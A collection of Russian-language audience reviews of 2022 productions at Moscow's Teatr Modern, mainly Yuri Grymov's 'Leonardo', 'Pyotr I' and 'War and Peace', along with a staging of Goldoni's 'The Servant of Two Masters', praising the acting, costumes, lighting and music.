Главную роль в спектакле сыграл ведущий актер театра Виктюка Дмитрий Бозин. Мне кажется, в нем сосредоточена идеально подходящая Леонардо энергетика, не говоря уже о манере игры, движениях, голосе. Жанна Чирова из театра на Юго-Западе сыграла в роли Беатриче, и это был для меня неожиданный и интересный подход. А Надежда Селиванова из театра Джигарханяна в роли Кассандры смотрелась очень гармонично благодаря своей совершенно необыкновенной внешности, больше подходящей эпохе Леонардо, нежели нашему времени. Очень сильно цепляет и запоминается образ герцога Моро в исполнении Юрия Анпилогова. Он умеет перевоплощаться, кажется, как никто другой, а его пронзительный взгляд позволяет изображать самых сложных персонажей. Также в спектакле был задействован новичок труппы - Михаил Матыченко из Института современного искусства с курса Певцова и Дроздовой. Он вышел на сцену в роли Микеланджело, и это был его дебют.

Сценическое пространство, как и в спектакле "Петр", пустое и темное, оно как черная дыра времени, приоткрывшаяся, чтобы показать нам затянутые несколько веков великие фрагменты истории человечества. Вместо декораций световые пятна и музыка, создающие вполне физическое объемное наполнение сценической пустоты. Свет направленный, не рассеянный, словно яркий маркер, выделяющий для зрителя нужную часть сцены. Музыкальное сопровождение Юрий Вячеславович вновь подобрал современное, но тут меня больше смутила бы лютня, чем, например, присутствующий в спектакле фрагмент из композиции "Cantsra" группы "Dead can dance". Зато костюмы не просто роскошные, но и поистине исторические, продуманные до мелочей. Они очень помогают создавать ощущение погружения и именно в эпоху Ренессанса. Спектакль получился похожим на холсты Леонардо с изображениями Мадонны - темный фон, яркий застывший лишь на мгновение объект, магическое притяжение взгляда и мощные чувства, остающиеся в памяти после просмотра навсегда.

Хочется рассказать о некоторых вау-эффектах, которые Грымов придумал для своего спектакля. Но на пресс-конференции Юрий Вячеславович попросил не раскрывать секретов для тех, кто ещё не видел спектакля, ведь "произвести первое впечатление спектакль может только один раз". Я полностью согласна, раскрыть рот от удивления лучше во время просмотра, иначе не будет такого мощного впечатления. И я искренне завидую тем, кому еще предстоит впервые увидеть спектакль Юрия Грымова "Леонардо".

Спектакль "Леонардо". Премьера 17, 24, 27 октября 2022 г.

В спектакле много музыки: она идёт и фоном почти постоянно, и поднимается отдельными темами в некоторых сценах. И музыка не соответствуют тому времени, но это абсолютно не мешает восприятию. Она разнообразна по тематике, по жанру.

Свет в спектакле ещё один герой. При минимальных декорациях (даже практически при их отсутствии) светом выделяются яркие моменты. Он помогает обратить внимание, привлечь зрителя к происходящему там, на сцене. Мне очень понравилась сцена создания "Мона Лизы", где световые лучи играли огромную роль. Это было грандиозно, если учесть, что мы в театре.

Но кроме света и музыки в спектакле важна игра актёров. И она была на высоком уровне.

Дмитрий Бозин в роли Леонардо был гармоничен и неожиданен. Несмотря на то, что Бозин актёр другого формата театра, другого стиля, другой пластики, все было так отточено и актёром, и режиссёром, что этого просто не замечалось. Дмитрий очень органично влился в труппу, в спектакль. Показал нам гения, немного не в себе (как мне казалось местами), немного растерянного. Каким и бывает гений.

Юрий Анпилогов (актёр театра Модерн) играет кровожадного правителя - Моро, одного из главных заказчиков работ Леонардо. Получился очень яркий образ.

Вообщем, мой рекомендосьон любителям не нафталина и традиционной классики, а любителям подумать, поразмышлять, обсудить после просмотра. И решить для себя: был ли счастлив Леонардо, отдав свою жизнь на благо искусства и науки? Был ли он Христом, создавая свои работы на религиозные темы, или Антихристом, создавая оружие и военную технику по заказу Миланского правительства?

Но не буду раскрывать всех секретов и нюансов. Тем более в спектакле есть чему удивиться и ахнуть на весь зал. Выключайте телевизор, идите в театр. Только там реальные эмоции, атмосфера искусства.

Посетила премьеру спектакля «Леонардо» и конечно Леонардо да Винчи - это невероятный гений своей эпохи ,но то что я увидела на сцене Модерна - пронзило меня до глубины души !
После спектакля «Леонардо» хочется все больше и больше угл******* во времена Возрождения 🔥
Режиссер Юрий Грымов уже не раз покорил своим подходом к сценарию , невероятное мастерство внести в спектакль внезапности с плавными переходами и спецэфектами ! Смотрела на одном дыхании !
В главное роли Дмитрий Бозин , один из моих любимых актеров , влился в роль так , что на все это время я верила , что Леонардо передо мной ! Не думала , что он и его персонаж могут существовать вместе , но это просто восторг 👏
На пресс показе актриса Маина Чижевская игравшая роль Мона Лизы говорила , что понимает что внешне сходства у них нет , но я не на миг не усомнилась , что это именно она !
Образы героев , это тонкая работа костюмов , детализация того века не дает усомниться ни в одном моменте !
Очень много музыки , она всегда наполняла зал своей таинственной атмосферой ! Пол свет хочется говорить отдельно ! Казалось , что где то с небес всегда кто то помогал писать картины , что то с выше творило волшебство !
«Леонардо» -это вторая часть трилогии «Антихрист и Христос» , первая часть «Петр 1» , советую сходить на каждый и однозначно ждать с нетерпением третьей части ❤️
Советую всем , гарантия невероятных эмоций обеспечена !

Посмотрели спектакль "Понты". Очень понравилась постановка. Впечатлила гнетущая, завораживающая атмосфера действа, поддерживаемая игрой света и хорошо подобранной музыкой. Монологи актеров очень интересны, заставляют вслушиваться в каждое слово. Спектакль призывает задуматься о том, что чувства могут быть и там, где мы не можем себе и представить.

В наше непростое время театр остается единственной отдушиной, способной избавить от стресса и немного отвлечься от серых будней.

Не так давно меня пригласили на очень интересную театральную постановку, о которой я вам сейчас и поведаю. 3 октября мне довелось побывать на премьере спектакля "Слуга двух господ" театрального салона "Сцена 23" на сцене культового театра Модерн. С бессмертным произведением Карло Гольдони я уже знакома, так как аж целых два раза была на современной интерпретации в театре им. Пушкина.

А вот классическое исполнение я лицезрела впервые. И осталась в полнейшем восторге. Вот как это было. Сам спектакль является гармоничным смешением жанров - от площадного жанра до классической буффонады. То что надо для веселого настроения! Тут и круговерть искрометных шуток, и комедия положений, и неизбежно счастливый конец. Сам спектакль очень динамичен и точно не даст заскучать даже самому искушенному зрителю. Ну а сами актеры великолепны, что говорит кстати, о серьезной работе режиссера. Играют все с большим удовольствием, пьеса к этому располагает, даже никого выделить нельзя. Ну, кроме главного героя - Труффальдино! В исполнении Вадима Колганова. Этот ловкий проходимец и пройдоха в исполнении Вадима не обделен харизмой и вместе с тем постоянно заставляет заливаться искренним смехом.

Иронично, музыкально, легко. То что нужно для приятного и веселого вечера в компании нестареющей классики. Хорошая постановка, как и положено в комедии - смешно, местами даже очень! Иногда уходят в буффонаду и это ни капли не напрягает. В целом и постановка, и сценография отличные! И музыкальное сопровождение задает настроение водевиля. Спектакль предназначен для семейного просмотра, поэтому без раздумий берите с собой своих близких, для легкого и веселого времяпрепровождения. Спасибо за интересную постановку, созданную приятную атмосферу и великолепную игру актёров!

Очень давно хотела попасть на спектакль "Петр". Ведь постановки Юрия Грымова - это всегда качественно, неординарно, интересно.
Спектакль "Петр" - первая часть трилогии "Христос и Антихрист" по мотивам одноимённой трилогии Мережковского. Насколько знаю, вторую часть, " Леонардо ", можно уже увидеть на сцене. Третья же часть пока только в проекте.
Лет в 13 с увлечением прочла роман Алексея Толстого " Петр I". Толстой представляет царя реформатором, человеком новых взглядов, бояр же, неготовых к переменам, как людей тёмных, недалёких.
Образ Петра, новатора, прорубившего окно в Европу, транслируется отовсюду и плотно сидит в нашем сознании. Но про теневую сторону царя, про то, как дались консервативной России эти перемены, мало кто говорит.
Спектакль Юрия Грымова максимально честен. На сцене мы видим человека, сильно любящего свою страну и понимающего, что старый путь России давно изжил себя, что стране давно пора сделать новый виток. Да, путь реформ Петра - это путь кровавый, путь жестокости, казней, физического насилия. Кстати, будьте готовы к тому, что сцены смерти и насилия будут на сцене достаточно часто.
У меня от просмотра спектакля остались очень неоднозначные впечатления. Я ожидала больше погружения в историю, раскрытия личности Петра не только с тёмной стороны. Всё же это был человек яркий, очень сильный, нестандартно мыслящий. Но в то же время, благодарна режиссёру за его честность. Перед нами не тот положительный образ, который старательно транслируется из учебников истории, а живой человек со своими страхами, одиночеством, с вечным вопросом, антихрист ли он или нет, верен ли был его кровавый путь?
Хотела бы отметить прекрасные костюмы, которые полностью соответствуют эпохе. Удивлена была, когда узнала, что некоторые из них сделаны на 3D-принтере.
Я скорее всего пересмотрю этот спектакль позже, чтобы составить более полное мнение. Сейчас же оно скорее неоднозначное.

Недавно посмотрела спектакль "Слуга двух господ", поставленный силами Театрального Салона "Сцена 23". Спектакль яркий, динамичный и веселый. Если на вас напала хандра и вы чувствуете, что подступает депрессия, посмотрите "Слугу двух господ" - это не спектакль, а практически лекарство от уныния. Легкий, забавный сюжет, прекрасные актеры, красивые костюмы, динамичные декорации - ну что еще нужно измученной душе!
Уже 275 лет театры всего мира ставят пьесу Карло Гольдони "Слуга двух господ" и все эти годы зрители с удовольствием смотрят эти спектакли. Наверняка многие видели по телевизору "Труффальдино из Бергамо" с Константином Райкиным в заглавной роли. Так это все та же пьеса.
В спектакле вас ждет веселая круговерть недомолвок и недоразумений, много шуток и неожиданных реплик, переодевания и счастливый финал.
Роль ловкача Труффальдино досталась обаятельному Вадиму Колганову. Его двух влюбленных, господ, - Беатриче и Флориндо - играют прекрасная Вероника Вяткина и элегантный Максим Евсеев.
Но в спектакле есть еще одна влюбленная пара - Клариче (Елена Шичкина) и Сильвио (Илья Быков). Их встречи и расставания, горестные недоразумения и счастливое воссоединение украшают спектакль дополнительными, иногда трогательными, иногда смешными нотками.
Ведь Панталоне, отец Клариче, обещал ее руку богатому сеньору Федерико, а тот был убит, а потом ожил... Ну что только не случается в Венеции, городе карнавалов и масок!
А еще хитрован Бригелла (Георгий Фетисов) ловит рыбку в мутной воде, вымогая плату с героев, с кого за помощь, с кого и за молчание.
А пока влюбленные герои разбираются в своих чувствах, хитрющая служанка Смеральдина (Наталия Давыдова) под шумок женит на себе ловкача Труффальдино, да тот вроде и не против.
Вот какая круговерть событий ожидает вас, если вы соберетесь посмотреть спектакль "Слуга двух господ" в Театральном Салоне "Сцена 23".
Салон "Сцена 23" родился совсем недавно, в его багаже пока только пара спектаклей. Мы смотрели "Слугу" в помещении театра Модерн, следующие показы будут проходить на сцене театра "Школа современной пьесы" - не перепутайте.
А создали этот милый, забавный, искрящийся счастьем спектакль режиссер Екатерина Калганова, сценограф Татьяна Ильина, хореограф Виктория Ортман. И это женское трио авторов обеспечило нам, зрителям, три часа безоблачного счастья и, пусть не навсегда, но хотя бы на недолго, прививку от тоски.

2 сентября была в театре Модернъ на спектакле "Петр 1". Это первый спектакль в грандиозной трилогии "Антихрист и Христос" Юрия Грымова.
Зал аплодирует стоя... Закрывают занавес, включают свет, и я понимаю, что меня не только трясет внутри, но я ещё и снаружи покрыта мурашками... Гениально, что ещё сказать?! В зале тихо, такое нужно переварить. Женщина рядом читает в телефоне о Петре, заинтересовалась. Я так и не решила для себя, чего же Петр принес нашей Отчизне больше - злодеяний или добра, но теперь я прекрасно понимаю, почему в трактовке Юрия Грымова "Петр один"... Но обо всём по порядку.
Можно ли служить Христу, следуя за Антихристом? Или быть Антихристом, но действовать во имя Христа? Вопрос, на который нет ответа в постановке. И каждый зритель должен самостоятельно ответить на эти вопросы, а материала для размышлений в спектакле предостаточно. И перед нами вдруг предстает не тот классический образ Петра, реформатора и просветителя, к которому мы привыкли, теперь нам предстоит увидеть обе стороны медали его правления. И мысленно этот спектакль переносит нас в противоречивый сегодняшний день.
Начну с того, что все ключевые моменты времени правления Петра Грымов каким-то удивительным образом сумел поместить всего в 2.5 часа, при этом спектакль не кажется разорванным и смотрится на одном дыхании. Быстро меняются картинки. Вот висят тела повешенных стрельцов, и под ними бродит испуганный люд, вот Петр лютует за небритую бороду, вот празднует Новый год на европейский манер. А потом горит Москва, от утех горит, не от вражеских стрел! И душно Петру от этого дыма. Тогда решает он построить новый город, лучше Москвы, каменный, каким-то образом на болоте строить хочет, и назовет он его городом Петра! И так далее...
Вся постановка полна удивительно выразительных образов, которые не просто увеличивают эффект от просмотренного, но и позволяют максимально усилить смысловую нагрузку некоторых сцен и спектакля в целом. Например, в спектакль введен второй Петр, молодой денщик, копия Петра, но совсем юного, ещё не несущего на себе груз своих деяний. Очень интересен образ просящих, в какой-то момент они встают на колени, и мы видим на их спинах монастырь, деревню, кладбище. На их спины садятся иностранные послы... Так же на сцене появляются люди с головами кабанов и китайский дракон. А большое полотно целлофана, развивающееся по сцене, символизирует большой парус! Отдельным символом становятся и парики, если я верно поняла, они тем больше, чем выше чин его обладателя. Отдельно хочется сказать про большое количество шикарных, дивной красоты костюмов. Лично меня удивила такая находка в сцене "праздника в честь Венеры" как 3d платья с настоящим барельефом, символизирующие скульптуры Летнего сада, так порицаемые простым людом. Одной из самых интересных находок является в руках Петра скипетр - символ власти. Изначально он имеет положенный размер, царь опирается на него, а иногда им и колотит, что тоже символично. Но по мере роста величия и власти Петра и скипетр становится длиннее и длиннее. От царя - к императору, от царства - к империи! И вот уже изможденный болезнью и предательствами Петр с трудом держит скипетр в два раза выше него самого. Он не может не только опереться на свой жезл, он толком не может его удержать, напротив, скипетр как и власть гнетёт, подавляет Петра, становится тяжкой, почти неподъемной ношей.
Множество раз сомневался Петр. Велика ответственность за страну, а вокруг множество предателей, даже в самом близком окружении. И лишь дважды сомнения в своих собственных решениях поразили сердце царя, и дважды сердца зрителей замирали... Это сцены последнего разговора Петра с сыном и сцена разговора Петра с Богом... В первой Петр в кровавой рубахе допрашивает сына. Алексей показан непривычно для себя смелым и дерзким, он говорит с отцом не как мальчик, но как мужчина, тем самым порождая всё бо́льшие сомнения в душе отца в правильности решения казнить родную кровиночку. Во второй одинокий и больной Петр, в одной рубахе и без парика, с гигантским жезлом с огромным трудом восходит на узкий помост, возведенный на 1 ряду зрительного зала. Возвышаясь над зрителями, Петр взмолился, он сомневается в своем правлении, просит Господа наказать за грехи его, но спасти Россию...
Нельзя не отметить, насколько мощно была исполнена главная роль Юрием Анпилоговым! Иногда я просто забывала, что находилась в зале, мне казалось, что я действительно смотрю на Петра 1, на самом деле являюсь частью этой яркой и, в то же время кровавой страницы истории России...
Всё гармонично и мощно в этой постановке от режиссуры до выбора актеров, от всепоглощающей тьмы пустой сцены до шикарных костюмов, от пятнами разбросанного света до музыкального сопровождения, в котором были то рок, то тоскливые напевы.
Сколько я пишу, а всё рассказать невозможно. Это обязательно нужно увидеть своими глазами!!!

Вчера (03.10.2022) была на втором премьерном показе спектакля по пьесе Карло Гольдони "Слуга двух господ" от Театрального салона «Сцена 23» в постановке Екатерины Колгановой.

Сразу же "Браво!"👏👏👏 за выбор материала. Пьесы Гольдони сами по себе прекрасны и интересны. Сейчас особенно нужна и актуальна комедия!

Стоит отметить, что и исполнительское мастерство актеров не подкачало и было на добротном уровне. Очень энергичное исполнение, много экспрессии и динамики, замечательно передан итальянский 🇮🇹 темперамент (хоть в театре в нынешнее время можно попасть в Италию).

Актеры играли достойно и смотреть на них было приятно👍. Ничего отталкивающего или пошлого, как часто бывает в современной комедии. При этом постановка не чисто классическая. Были и актуальные, современные шутки. Также была и уместная импровизация от Труффальдино в исполнении Вадима Колганова.

Музыкальное сопровождение🎵 местами весьма неожиданное, но подходящее, со знакомыми мелодиями отлично дополнило спектакль!

Костюмы просто шикарные! Видно, что над ними хорошо поработали и они крайне приятны для глаз зрителей.

Также отмечу, что показ спектакля проходил в театре Модерн. И это отличнейший выбор👍. Красивое, историческое здание бывшей Хлебной биржи с приятными интерьерами само по себе интересно (можно идти даже просто из-за него одного). И очень удобный зал с мягкими креслами, в котором видно с любого места.

Веселая, лёгкая комедия для хорошего вечера!😃

30 сентября была приглашена в театр Модернъ на спектакль "Цветочки зла". Всегда мечтала очутиться в театре после спектакля, когда в зале выключается свет, расходятся зрители, наступает тишина. Пройти в полумраке витых лестниц, ловить отблески на золотых светильниках, ощутить спокойствие в пустом зрительном зале, вдохнуть запах не модного парфюма, а запах самого театра, его декораций и костюмов. Впервые моя мечта сбылась на экскурсии по театру Модернъ поздним вечером. Но одно дело экскурсия, другое дело - когда внутренне убранство театра играет новыми красками, ранее невидимыми, каждый уголок театра становится сценой и обретает своего исключительного персонажа!
Основа спектакля - путешествие по поэзии, начиная с декаданса и заканчивая Серебряным веком. Я думаю, в наше время мало кто читал сборник Бодлера "Цветы зла", поэтому первые несколько минут многие зрители недоумевают: "Что же это будет?.. Почему нам твердят про какую-то лекцию, зачем нам рассказывают про декаданс и непонятных "проклятых" поэтов?" Но все очень быстро встаёт на свои места, когда главный (и единственный) герой - сумасшедший профессор - срывает с себя парик, пиджак, и начинает перевоплощаться. И хочется выкрикнуть - "Верю!", с какой страстью и самоотдачей Сергей Аронин примеряет на себя жизнь и творчество поэтов, увлекая за собой зрителей!
Меняются не только костюмы и декорации, как мы привыкли наблюдать в театре, но и сценой становится то лестница, то фойе, то библиотека, то последние ряды зрительного зала! Уже само то, что зритель самостоятельно идёт по театру вместе с героем, даёт ощущение, что зритель - непосредственный участник происходящего. Вдобавок к этому профессор то наряжает зрителей, то показывает с ними фокусы, то устраивает с их помощью импровизированное море!
Так не хотелось, чтобы это путешествие заканчивалось... "Цветочки зла" - это и иммерсивный спектакль, и экскурсия, и поэтический вечер, и исторический экскурс! Сколько раз вы можете прослушать чудесное стихотворение в исполнении талантливого чтеца? Я - не менее десяти раз. А если читка ещё театрализованная, то, наверное, намного больше. И теперь я с нетерпением жду, когда смогу вновь очутиться на этом спектакле, потому что лично я покорена!

На прошлой неделе посмотрела «Сказки для взрослых» -это современный и совсем недетский спектакль, смешная комедия о грустном.
Постановка включает в себя несколько историй: «Деревянный человек и мясная женщина» в шикарном гармоничном дуэте режиссера Сергея Аронина и невероятной Маргариты Шиловой. Где главные герои находятся на одной волне и отлично передают свое настроение зрителю. А какое потрясающее выступление Надежды Меньшовой в роли «Утконоса», который мечтал найти свое предназначение в этом мире и не быть посмешищем. В «Страсти Мэрлина» мы видим как ученик всегда превосходит своего учителя. А в «Трех диких индюшках» , навязанные общественные установки , заставляют отказаться от заветной мечты. В поучительной зарисовке «Ганса и Гретель» жестокая сказка о том , что никого не надо любить иначе прийдется все это съесть. В философском рассказе «Человек-невидимка» раскрывается тема одиночества. И наконец , самая блестящая сюрреалистическая пьеса «Поездка на санях». Сложная и очень фееричная сказка о времени, о детстве и взрослых проблемах.
Спектакль очень динамичный и живой с интересными декорациями, живым дождем и снегом. Вам предстоит ответить на загадки, послушать скороговорки, посмеяться и задуматься о главном. Всем советую посмотреть спектакль)

"Петр I" в театре Модерн
В театр Модерн идет спектакль "Петр I" в постановке Юрия Грымова. Спектакль поставлен по историческому роману Дмитрия Мережковского "Антихрист. Пётр и Алексей". Петр - заключительная часть трилогии Мережковского, но Юрий Грымов именно с нее решил начать работу над серией спектаклей (нас еще ждут "Леонардо" и "Юлиан Отступник"). Ведь именно в "Петре" создается символическая картина, проливающая свет сквозь образы прошлого на грядущие судьбы России и мира. Именно в нем одна из основных тем трилогии - борьба духа и плоти, христианства и язычества как в мировой истории, так и в душе отдельного человека достигает своего апогея. Именно в "Петре" Мережковский, а вслед за ним и Грымов создают символическую картину, проливающую свет сквозь образы прошлого на грядущие судьбы России и мира.
В театральных работах Юрия Грымова всегда присматривается его кинематографическое прошлое: раскадровка, наплывы, особое отношение к свету. И именно в "Петре" все эти приемы особенно явно льют воду на мельницу успеха. Из громадного романа казалось бы вырваны отдельные куски, но эти куски сшиты сценографией, светом, игрой актеров в логичное полотно.
Сценография Юрия Грымова, как всегда, лаконична, но невероятно остра - каждая сцена проходит по душам зрителей подобно опасной бритве. Свет Антона Исаева выхватывает из полутьмы сцены значимые в данный миг детали. Костюмы Ирэны Белоусовой слегка стилизованы и в меру историчны.
И конечно же актеры! Ставить спектакль про Петра Первого не имея в театре Петра, было бы сущим безумием, но Петр в театре есть. Юрий Анпилогов как будто рожден для этой роли. Рост, голос, внешность, еще лишь чуточка грима (художник по гриму Наталья Тимофеева), и перед нами Царь-реформатор. Который прорубил..., уздой железной... Эх, а надо ли было р*****... Вот китайцы не рубили окон... Наглядное значение личности в истории...
Катерина в исполнении Анастасии Морозюк невероятно женственна и чертовски красива. Ее стремительная карьера от поломойки до царицы развивается на наших глазах буквально за секунды, но достоверность образа абсолютна и несомненна.
Меньшиков Александра Толмачева пожалуй несколько легковесен, но обаятелен и красив. А вот Алексей в исполнении Владислава Свиридова получился фигурой, не уступающей по силе и образности Петру, но Петр это инь - холод и мрак, а Алексей янь - тепло и свет.
Спектакль "Петр I" многонаселенный, некоторые герои появляются лишь в паре сцен, но все актерские работы запоминаются и не исчезают из памяти сразу после заключительных аплодисментов.
Невероятно хорош Сергей Аронин в роли утонченного иностранца Кенигсека. Хороша Мария Орлова в роли Шарлотты, несчастной жены Алексея. Марианна Канивец создала яркий образ Ефросиньи. А Варлаам в исполнении Александра Борисова, пожалуй единственный в спектакле представляет силу, пытающуюся противодействовать воле царя.
Если вы еще не видели спектакль "Петр I" в театре Модерн, то соберитесь с силами и посмотрите его. Да, это спектакль не для отдыха, не для бездумного легкого вечерочка. Этот спектакль создан, чтобы пробудить спящие души, чтобы мы вслед за Мережковским прошли путь от раздвоения к соединению. Ведь "обе правды — о небе и о земле — уже соединены во Христе" (Мережковский)

На контрасте с инфоповодами прошлой недели и пасмурной пятничной московской погодой моё «спасение» явилось в добродушном и смекалистом образе Труфальдино - главном герое комедии положений «Слуга двух господ», по мотивам пьесы Карло Гольдони. Стремясь заработать, Труфальдино умудряется служить и угождать сразу двум своим хозяевам.

Темпо-ритм постановки и актёрский драйв в первые же минуты, словно свежим бризом, переносят тебя на пару веков назад, в дом венецианского купца Панталоне, где полным ходом идёт приготовление к свадьбе его дочери. По законам жанра сюжет быстро обрастает новыми героями, между которыми закручивается клубок отношений, заставляя слугу-авантюриста оперативно распутывать ситуации в полном соответствии со всеми ранее поставленными целями и задачами, абсолютно всеми приходящими в его голову способами. К счастью для зрителя, финал комедии положений – это пазл, который всегда ладно складывается, и все герои получают вознаграждение, ну или, по крайней мере, «выходят из воды сухими».

БРАВО всем актёрам, и режиссёру-постановщику Екатерине Колгановой за проделанную работу, но, особенно, блистательной игре Вадима Колганова – исполнителю роли Труфальдино!

Постановка приурочена к 315-летию Карло Гольдони и предлагает современное прочтение классической пьесы, которая впервые была поставлена в далеком 1749 году! Спектакль поставлен театральным салоном "Сцена 23" и проходит на сцене театра «Модерн» по приглашению его руководителя Юрия Грымова.

P.S. Обязательно рекомендую абсолютно всем, как «средство психологического выживания;)» в наше непростое время!

Наконец посмотрела спектакль Юрия Грымова "Понты". И я, честно сказать, под впечатлением. Особенно необычна эта постановка тем, что в главной роли в ней выступают не люди, а машины. Да-да, именно автомобили, которые мы привыкли видеть лишь бездушным средством передвижения, возможностью "бросить понты" перед друзьями, коллегами и девушками. Но что если у машин и правда есть душа? Эта история эхом прозвучала в моей памяти, словно продолжая многочисленные истории о брошенных игрушках. Как игрушки поломаны и порваны детьми, а возможно и просто не нужны уже повзрослевшим хозяевам, но все так же искренне любят своих маленьких людей, беспокоятся, и совершенно не хотят оказаться в мусорном ведре, так и машины, взрослые дорогостоящие игрушки для успешных мира сего, лишь ненадолго становятся друзьями, а потом оказываются разбитыми или вышедшими из моды, и место им находится лишь на свалке...
Обстановка на сцене соответствует духу безысходности, которую зритель должен ощутить вместе с брошенными машинами. Тусклый свет освещает три разбитых постройки на пустыре, вокруг непроглядная тьма. И так сильно ощущаются в этом отдаленном от цивилизации месте тоска и одиночество. Но вот на сцене появляются главные герои, и их одежды пестрят, подчеркивая соответствие маркам и статусам автомобилей, и каждый "прикид" дополняет шильдик. Каждый герой индивидуален, имеет свой характер, особые манеры, у каждого своя грустная история, связанная с прошлым в мире людей... И всех их объединяет одна общая мечта - чтобы за ними вернулись хозяева, ну или просто их взяли хотя бы другие люди, мечта снова стать нужными, вновь обрести верного друга - "того самого человека".
Как же хочется провести параллель с каждым из нас, ведь всех нас предавали, каждый из нас увидел в жизни несправедливость и гадость, и в основе своей мы все боимся остаться одинокими, стать ненужными, вылететь из жизни... Но все мы не вечны, и все однажды пойдем на переплавку... Но ведь главное - не оболочка, главное - душа, и она, если верить Юрию Грымову, есть даже у разбитых машин!
В спектакле сделан очень интересный акцент. В основе всей истории, лежат несколько коротких рассказов про успешных, богатых понторезов. Словно бы поверхностно, невзначай, но как оригинально через спектакль Грымов обличает некоторые пороки нашего общества - коротко, доходчиво, с юмором. И, кажется, нет обиды, нет осуждения, наоборот, искреннее прощение и вера в лучшие качества каждого, даже самого греховного, человека. Вера, надежда и любовь, которые яркими фарами врываются в мрачную обстановку спектакля и пронизывают его от самой первой до самой последней минуты.

В нынешних условиях, когда весь уклад и условия жизни меняются, тема поднятая Л.Толстым в своем романе "***** и мир" стала актуальной, как никогда.

Ю. Грымов в театре "МОДЕРН" в своей постановке «***** и мир. Русский Пьер», как раз сделал акцент именно на любви к Родине, духовности и сплоченности нашего народа перед лицом трагедии. На том, что и ***** и мир – все это в душе человека. Не зря, в названии спектакля есть авторское дополнение - «Русский Пьер». Ведь на наших глазах, Пьер - сомневающийся и мечущийся в поисках смысла жизни, идеализирующий Наполеона и вступающий в ряды масонов, исчезает и уступает место Петру Кирилловичу. Правда, все это - через метания, страдания и лишения. Но, по - другому, наверное, и не бывает? Чтобы прийти к свету, смыслу жизни, нужно познать и самое ее дно?

Здесь не дословный пересказ романа - эпопеи Толстого, да и сложно это сделать, даже за 3ч 20 мин, что идет спектакль, но основные сюжетные линии сохранены, и герои легко узнаваемы.
Особо отмечу, что подбор актеров на роли - просто идеальное попадание. Но, отдельно хочу выделить Александра Колесникова, который сыграл Пьера Безухова – я его именно таким и представляла себе, кода читала роман. Неуклюжий, где-то смешной и простодушный, но честный и добрый.
В спектакле почти нет декораций, но благодаря таинству и мастерскому владению светом и музыкой, создается нужная атмосфера.
А какие великолепные костюмы! Только представьте, Ирэна Белоусова для этого спектакля создала 423 костюма! Благодаря этому, зрители полностью погружаются в воссозданную эпоху. Невероятная красивая сцена бала, выстроенная по диагонали, интересный оптический прием.
Так же он присутствует и в изображении тягот военного времени, где бесконечно тянется длинная вереница *********** жизней и судеб. Чувствуется боль и ********** всего прежнего мира. История, увы, повторяется….

Знаете, это тот спектакль, на который нельзя опаздывать и антракт несет совсем иную смысловую нагрузку, чем обычно.
При входе в зал вы попадаете на настоящее богослужение, а в антракте становитесь очевидцем горящей Москвы и бродите среди пепелища. Я впервые в театре увидела нечто подобное и это действительно впечатляет! Еще одна отличная идея этой постановки – введение в действие хора им. Свешникова. Это целый живой организм, действующая сила, который дополняет, заполняет, оттеняет и меняет наше восприятие на всем протяжении спектакля. Это - обьединяющий символ нашего народа, духовности и света. До мурашек!
Сильная постановка, поднимающая главные вопросы о смысле жизни, о чести и совести каждого человека перед собой, людьми и Богом, о любви, предательстве и прощении, о важности и ценности семьи и самой жизни.

Контекст современных событий всегда толкает к осмыслению истории и личностей, творивших её. Вот и на фоне всего происходящего в последнее время яркая и зрелищная постановка в театре «Модерн» Юрия Грымова «Пётр 1» по произведениям Д.С. Мережковского и А.Н. Толстого стала для меня весьма актуальным открытием.
В течение 3-ёх часов без малого, зритель, затаившись, наблюдает калейдоскоп эпизодов, из жизни царя Петра, отсчёт которых происходит, начиная с 1699 года – казни восставших стрельцов.
Ученье, борьба и аскета – философия Петра, а созидание и развитие государственных институтов и территорий, по сути, единственный его сущностный выбор. Выбор, который, учитывая личность и его стиль правления, выводил из зоны комфорта (как сейчас принято говорить) всякого, начиная от служителей культа и бояр, заканчивая крестьянами.
Но устоявшиеся стереотипы о Великом реформаторе в спектакле затронуты по касательной, и в основе, не конструктивизм, а метафизика отношений Петра и его окружения, доведённая до предельного драматизма в выборе Петра между отечеством и его сыном царевичем Алексеем.
К слову, в Петропавловской крепости Петру установлен памятник. Пропорции в нём не соблюдены, разве что голова /лицо, калькировано, аккурат, с его посмертной маски. Массу споров, вплоть до обвинения скульптора в создании карикатуры на императора вызывают огромное туловище и тонкие пальцы, как образ правителя, наделённого безграничной властью и могуществом.
Юрию Анпилогову исполнителю главной роли, определённо, удался этот непростой и противоречивый, подчёркнутый яркими метафорами образ.
Ну и никак нельзя не отметить, уже ставшими визитной карточкой театра Модерн - великолепные костюмы художника Ирэны Белоусовой, среди них - шесть платьев, напечатанных на 3D-принтере!
Режиссеру Юрию Грымову и всему актерскому составу огромное БРАВО!

Вчера была на спектакле Юрия Грымова «Пётр I» в театре Модерн! Сказать, что я под впечатлением - это ничего не сказать! Восторг! ⭐️👏🏻
Я прожила исторические события, находилась в Петровской эпохе! Спасибо за эти эмоции и чувства 🙏🏻
Показаны все исторические факты, но без пошлости и грязи! Даже сцена с Екатериной (Е.Морозюк) была очень красивой и органично вписанной.
Отдельно отмечу костюмы и свет! Работа светооператора просто завораживает, все четко, все подсвечено идеально❤️
И конечно, Пётр! Актерская игра Юрия Анпилогова просто на высшем уровне, эмоции, мимика. В какой-то момент забываешь, что это актёр. Передо мной был реальный живой Пётр 😳
Режиссура Юрия Грымова - вне всяких похвал! Он смог совместить современную музыку, передать исторические события и адаптировать роман Алексея Толстова под наше современное восприятие, как никто бы другой не смог!
Я полностью погрузилась в магию театрального искусства ❤️
От души рекомендую сходить на постановку «Пётр I»❤️ Вы получите море удовольствия!

Лишь не так давно мне посчастливилось посмотреть первую часть задуманной художественным руководителем Театра Модерн, Юрием Грымовым, трилогии «Антихрист и Христос» по романам Дмитрия Мережковского – «Петр I», а уже 17 октября грядет премьера второй ее части – «Леонардо».
История повествует о жизни и творчестве Леонардо да Винчи. Сценическую версию о Гении, в котором в равной пропорции уживаются добро и зло (одной рукой Леонардо пишет фреску «Тайная вечеря», а другой создает смертоносное оружие) написал Александр Шишов по мотивам романа Дмитрия Мережковского «Воскресшие боги».
Юрий Вячеславович провел утром 10 сентября открытую репетицию будущего спектакля, позволив заглянуть в «святая святых» - театральное закулисье.
Многочисленным зрителям, пришедшим, несмотря на огромное количество проводимых в этот день в Москве интереснейших мероприятий (отмечался День города) и прекрасную погоду, в Театр, показали фрагменты отдельных сцен и они смогли воочию убедиться, насколько сложна и кропотлива работа режиссера по перенесению идей, зародившихся в его голове, на театральные подмостки.
